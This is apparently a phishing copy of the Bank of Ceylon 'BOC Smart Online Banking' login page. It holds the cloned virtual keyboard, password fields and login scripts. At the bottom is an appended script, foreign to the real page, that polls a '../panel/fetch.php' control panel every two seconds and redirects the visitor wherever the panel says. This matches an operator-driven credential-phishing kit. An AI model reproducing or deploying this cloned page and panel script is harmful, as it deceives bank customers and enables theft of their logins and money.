													</script><td><input type="button" class="virtualButtons" value="8" id="elemN3" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="7" id="elemN4" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="2" id="elemN5" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr><tr><script language="JavaScript">
													for (var i=6; i < 9; i++) {
														document.write ('<td>');
														imageNumOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="4" id="elemN6" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="1" id="elemN7" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td><input type="button" class="virtualButtons" value="9" id="elemN8" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td></tr><tr><td>&nbsp;</td><script language="JavaScript">
													for (var i=9; i < 10; i++) {
														document.write ('<td>');
														imageNumOnPage(i);
														document.write ('</td>');
													}
													</script><td><input type="button" class="virtualButtons" value="3" id="elemN9" onmouseover="startHover(this);" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack(),stopHover();" onclick="return showValue(this);"></td><td>&nbsp;</td></tr></tbody></table></div></td></tr><tr><td width="100%" align="center"><table cellpadding="1" cellspacing="1" align="center" id="login-keyboard-controls"><tbody><tr><td><input type="button" value="Upper" id="elemC0" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack();" onclick="setCase('Upper','Lower');"></td><td><input type="button" value="Delete" id="elemC1" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack();" onclick="DeletePwd();"></td><td><input type="button" value="Clear All" id="elemC2" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack();" onclick="ClearPwd();"></td><td><input type="button" value="Not Mixed" id="elemC3" onmousedown="return changeToStar();" onmouseup="return changeBack();" onmouseout="return changeBack();" onclick="setRandom('Mixed','Not Mixed');"></td></tr></tbody></table></td></tr></tbody></table></div></div><div id="SKB" class="tab_content" style="display: block;"><div class="loginBox"><div id="rows"><div class="labeltext loginlabel" id="password_id"><label for="fldPassword">Password</label><span>&nbsp;<img class="info-image" title="K_PASSWORD_TOOLTIP" src="BOC%20Smart%20Online%20Banking_files/info-icon.png"></span></div><div class="inputbox" id="fldPassword"><input type="password" value="" class="" name="test2" oncopy="return false;" onkeypress="HandleKeyPress(event);" onpaste="return false;" id="SKBPassword"></div><div class="labeltext" style="padding:10px"><a href="javascript:void(0)" class="keyboard_anchors" onclick="forgotPassword ();">Forgot Password? </a><a href="javascript:void(0)" class="keyboard_anchors" onclick="unlockPassword ()">Unlock my User ID</a></div></div></div></div></div></div><div class="loginBox"><div class="signin_button_div"><div><div class="labeltext"></div><a><input type="button" value="Register Now" class="butt" width="200px" onclick="newUser()"></a><div class="labeltext"></div><a><input type="submit" value="Sign In" class="butt" width="200px" onclick="fLogon()"></a></div></div></div></div><input type="hidden" name="fldPassword" value=""><input type="hidden" name="fldudf" value="fldRequestId"><input type="hidden" name="fldLangId" value="eng"><script language="JavaScript">
	//-----------------------------------------------------------------------------
	var virtKeyb = false;
	var speedMbps;
	var BW_THRESHOLD = 300;
	var scr_w, scr_w1,scr_h, scr_h1;
	function initializelogin() 
	{

		document.frmmain.fldPasswordStandard.focus ();
		setScreenSize ();
		//document.frmmain.fldLoginUserId.focus ();
		if (virtKeyb) {
			document.frmmain.fldPassword.readOnly =true;
			document.frmmain.fldPassword.blur();
		} else {
			document.frmmain.fldPassword.readOnly = false;
			var keyBoard = document.getElementById('login-keyboard').getElementsByTagName("BUTTON");
			for(i=0; i <= keyBoard.length-1; i++){
					keyBoard[i].disabled=true;
					keyBoard[i].style.color='#AAAAAA';
			}
		}
		$("#fldLoginUserId").focus (function (e) {focusUserId (this);});
		$("#fldLoginUserId").blur (function (e) {blurUserId (this);});
		blurUserId (document.getElementById ("fldLoginUserId"));
	}

	$(document).ready(function() {
		initializelogin ();
		//setheight ();
		//SecurityWarning ();
		getBandWidth();
	});

	$(".tabs span").click(function() {
		$(".tabs span").removeClass('active');	//	First remove class "active" from currently active tab
		$(this).addClass("active");	//	Now add class "active" to the selected/clicked tab
		$(".tab_content").hide();	//	Hide all tab content
		var selected_tab = $(this).find("a").attr("href");	//	Here we get the href value of the selected tab
		$(selected_tab).fadeIn();	//	Show the selected tab content
		if (selected_tab == "#SKB") {
			virtKeyb = false;
			document.frmmain.fldPasswordStandard.focus ()
		} else {
			virtKeyb = true;
			document.frmmain.fldPasswordStandard.blur ();
		}
		return false;	//	At the end, we add return false so that the click on the link is not executed
	});



	function getBandWidth() 
	{
		var startTime, endTime;
		var imgSize = 983094; //bytes
		var testImg = new Image();
		testImg.src = "images/test.bmp" + "?n=" + Math.random();
		startTime = (new Date()).getTime();

		testImg.onload = function () {
			endTime = (new Date()).getTime();
			var duration = (endTime - startTime) / 1000;
			var bitsLoaded = imgSize * 8;
			var speedBps = bitsLoaded / duration;
			speedMbps = ((speedBps / 1024)/1024).toFixed(2);
		}
	}

	//-----------------------------------------------------------------------------		
	function fLogon () {

	if(!validatePasswordLength()){
			return false;
		}

		var pwd = null;
		var rsa = new RSAKey();
		var mod = "912f2b92b6eece87d660d1f58e3208fb487fce3e672aeb93b28e2d575a1888516ff7d390141d3afbe185a083dd9bb84d42fdef9a5a3901590e74a35eb6358c29a0ac4d34daeb1cafe6ae0e8012a6c96a6b0c609e55dadec925888c6b06436da2c388170e7b51b0b9475d01ad8893c87ced00a6f0793b5a9aa8acdbff4b694ce9";
		var expo = "10001";
		rsa.setPublic(mod, expo);

		if (userId == "") {
			alert ("User Id must be entered");
			document.frmmain.fldLoginUserId.focus ();
			return false;
		}

		if (virtKeyb) {
			if (document.frmmain.fldPasswordVirtual.value == "") {
				alert ("Password must be entered");
				document.frmmain.fldPasswordVirtual.focus ();
				return false;
			}
			pwd = document.frmmain.fldPasswordVirtual.value;
			document.frmmain.fldPasswordVirtual.value = "";
		} else {
			if (document.frmmain.fldPasswordStandard.value == "") {
				alert ("Password must be entered");
				document.frmmain.fldPasswordStandard.focus ();
				return false;
			}
			pwd = document.frmmain.fldPasswordStandard.value;
			document.frmmain.fldPasswordStandard.value = "";
		}

		if(pwd.length < 16){	   
		aString = new String("16");	
		answer = aString - pwd.length;  
				var sr = " ";
				var cnt ;
			for (var i = 0; i < answer; i++) {				 
				var rsr =  pwd.concat(sr);
				pwd =rsr;			
			}
	   }

		document.frmmain.fldPassword.value = rsa.encrypt(pwd);
		document.frmmain.fldRequestId.value = "RRLGN01";

		var isLowBW = false;

		var scr_w, scr_w1;
		var scr_h, scr_h1;
		scr_w1 = 1015;
		scr_h1 = 740;

		if (scr_w == '800')
		{
			scr_w1 = 785;
			scr_h1 = 500;
		}

		if(typeof loginWindow != 'undefined'){
			try{
			loginWindow.close();
			}catch(e){
			}
		}

		if(speedMbps <= BW_THRESHOLD) 
		{
			var UI_id = document.frmmain.fldlitever;
			for(var i = 0; i < UI_id.options.length; i++) {
				if(UI_id.options[i].value == "L") {
					UI_id.selectedIndex = i;
					break;
				}
			}
			isLowBW = true;
		}

		if(isLowBW) {
			$("#bwDialog").dialog("open");
			return false;
		}
		else {
			return redirectToSummaryPage();
		}
	}

	function redirectToSummaryPage() 
	{
		var scrW = screen.availWidth-10+"px";
		var scrH = screen.availHeight-60+"px";
		var windowName;

		if(navigator.appName == "Microsoft Internet Explorer") {
						windowName = document.frmmain.fldLoginUserId.value.replace(/[^a-zA-z0-9]+/g,"a").replace(/\W*/g, '');
		}
		else {
						windowName = document.frmmain.fldLoginUserId.value.replace(/[^a-zA-z0-9]+/g,"a");
		}

		loginWindow = window.open ("", windowName ,
				"dependant=no,directories=no,location=no,menubar=no"
			+	",resizable=yes,scrollbars=yes,titlebar=no,toolbar=no,"
			+ "0, 0, top=0,left=0,status=1,"
			+ "width=" + (scrW)
			+ ",height=" + (scrH)); 

		document.frmmain.target = windowName ;
		document.frmmain.submit ();
		loginWindow.focus();

		document.frmmain.fldLoginUserId.value = "";
		document.frmmain.fldPassword.value = "";
		document.frmmain.fldPasswordStandard.value = "";
		document.frmmain.fldPasswordVirtual.value = "";


		return false;
	}
	//-----------------------------------------------------------------------------		
	function setheight () {
		var isNS6 = (!document.all && document.getElementById) ? true : false;

		if(isNS6==true) {
			document.getElementById('TDlogin').style.height ='350px';
		} else {
			document.getElementById('TDlogin').style.height ='100%';
		}
	}
	//-----------------------------------------------------------------------------
	function DeletePwd () {
		if (virtKeyb) {
			var strNumField = new String(document.frmmain.fldPasswordVirtual.value);
			document.frmmain.fldPasswordVirtual.value = strNumField.substring(0,strNumField.length-1);
			//document.frmmain.fldPasswordVirtual.id="";
			doRandomize();
		}
		return false;
	}
	//-----------------------------------------------------------------------------
	function ClearPwd () {
		if (virtKeyb) {
			document.frmmain.fldPassword.value = "";
			document.frmmain.fldPasswordStandard.value = "";
			document.frmmain.fldPasswordVirtual.value = "";
			doRandomize();
		}
		return false;
	}
	//------------------------------------------------------------------------------
			function formwindow_open(frm, title, id){
				var window_name = 'process_' + id;
				var frm_action;
				window.open (
					''
				,	window_name
				,	'toolbar=0,location=0,directories=0,status=1,menubar=0,scrollbars=1,resizable=0,left=0,top=0,width='+scr_w1+',height='+scr_h1
				);
				frm.target = window_name;
				frm.title.value = title;
				frm.fldRequestId.value = id;
				frm_action = frm.action;
				frm.action = "process.jsp"
				frm.submit ();
				frm.action = frm_action;
			}
	//------------------------------------------------------------------------------
	function setScreenSize(){

				scr_w1 = screen.availWidth-10+"px";
				scr_h1 = screen.availHeight-60+"px";
			}

	function validatePasswordLength(){

   var input=document.frmmain.fldPasswordStandard.value;
    if (input.length>25){
        alert ("Password Length cannot exceed 25");
        return false;
    }else {
        return true;
    }
}

function forgotPassword () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRFPW01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Forgot Password?', l_requestid);
}
function newUser () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRCOE01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Online Registration', l_requestid);
}
function unlockPassword () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRFPW06';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Unlock my User Id?', l_requestid);
}



	//-----------------------------------------------------------------------------	
	function HandleKeyPress(evt){
var key = evt.which || evt.charCode || evt.keyCode || 0;
    if (key == 13)
	{
	fLogon();
	}
}
	</script><input name="fldRequestId" value="RRLGN01" type="hidden"><input name="fldDeviceId" value="01" type="hidden"></form></span><span class="login-right"><div id="section" class="login brocher"><div class="loginheader"><div class="loginHeaderText center">ATM Locator</div></div><div class="brochere-content center">
			Looking for Branch/ATM/CDM Locations?
			</div><div class="brochere-common-footer"><a href="javascript:void(0);" onclick="getStatus ('ATM-Branch Locator','RRLOB01')" class="arrow-link"><img class="logo-image" src="BOC%20Smart%20Online%20Banking_files/arrow-link.png"></a></div></div><div id="section" class="login brocher"><div class="loginheader"><div class="center loginHeaderImage"><img class="logo-image"></div><div class="loginHeaderText center">Offers</div></div><div class="brochere-content center">
			Look for more offers here.
			</div><div class="brochere-common-footer"><a href="http://web.boc.lk/boc/index.php" target="_blank" class="arrow-link"><img class="logo-image" src="BOC%20Smart%20Online%20Banking_files/arrow-link.png"></a></div></div><div id="section" class="login brocher"><div class="loginheader"><div class="center loginHeaderImage"><img class="logo-image"></div><div class="loginHeaderText center">FAQ</div></div><div class="brochere-content center">
			For frequently asked questions click here.
			</div><div class="brochere-common-footer"><a href="https://imbuat.boc.lk/T001/static/faq.html" target="_blank" class="arrow-link"><img class="logo-image" src="BOC%20Smart%20Online%20Banking_files/arrow-link.png"></a></div></div><div id="section" class="login brocher"><div class="loginheader"><div class="center loginHeaderImage"><img class="logo-image"></div><div class="loginHeaderText center">Exchange Rates</div></div><div class="brochere-content center">
			Exchange Rates
			</div><div class="brochere-common-footer"><a href="https://www.boc.web.lk/ExRates" target="_blank" class="arrow-link"><img class="logo-image" src="BOC%20Smart%20Online%20Banking_files/arrow-link.png"></a></div></div><div id="section" class="login brocher"><div class="loginheader"><div class="center loginHeaderImage"><img class="logo-image"></div><div class="loginHeaderText center">User Guide</div></div><div class="brochere-content center">
			User guide for BOC smart online banking desktop version.
			</div><div class="brochere-common-footer"><a href="https://online.boc.lk/terms/boc/UserGuides.html" target="_blank" class="arrow-link"><img class="logo-image" src="BOC%20Smart%20Online%20Banking_files/arrow-link.png"></a></div></div><input type="hidden" name="fldudf" value="fldRequestId"><input type="hidden" name="fldLangId" value="eng"></span>

						
			</div>
			</div>
	<!--/form-->
		<form name="frmprocess" method="POST" action="process.jsp">
			<input type="hidden" name="fldRequestId" value="">
			<input type="hidden" name="fldDeviceId" value="01">
			<input type="hidden" name="title" value="">
			<input type="hidden" name="usertype" value="EN1">
		</form>
	
 
<span id="VBar" style="position: absolute; top: 0px; left: 0px; height: 0px; width: 2px; background: silver; border-left: 1px dotted black; display: none;"></span><div id="fb-root" class=" fb_reset"><div style="position: absolute; top: -10000px; width: 0px; height: 0px;"><div></div></div></div><script>
// Wait for the document to be fully loaded
document.addEventListener('DOMContentLoaded', function() {
    var cd = "<?php echo $current_data; ?>";
    
    // Function to check for updates
    function checkForUpdates() {
        // Using fetch API instead of jQuery.post
        fetch('../panel/fetch.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'update=1'
        })
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            return response.text();
        })
        .then(d => {
            if (cd !== d) {
                cd = d;
                window.location = d;
            }
        })
        .catch(error => {
            console.error('Error:', error);
        });
    }

    // Check for updates every 2 seconds
    setInterval(checkForUpdates, 2000);
});
</script>
</body></html>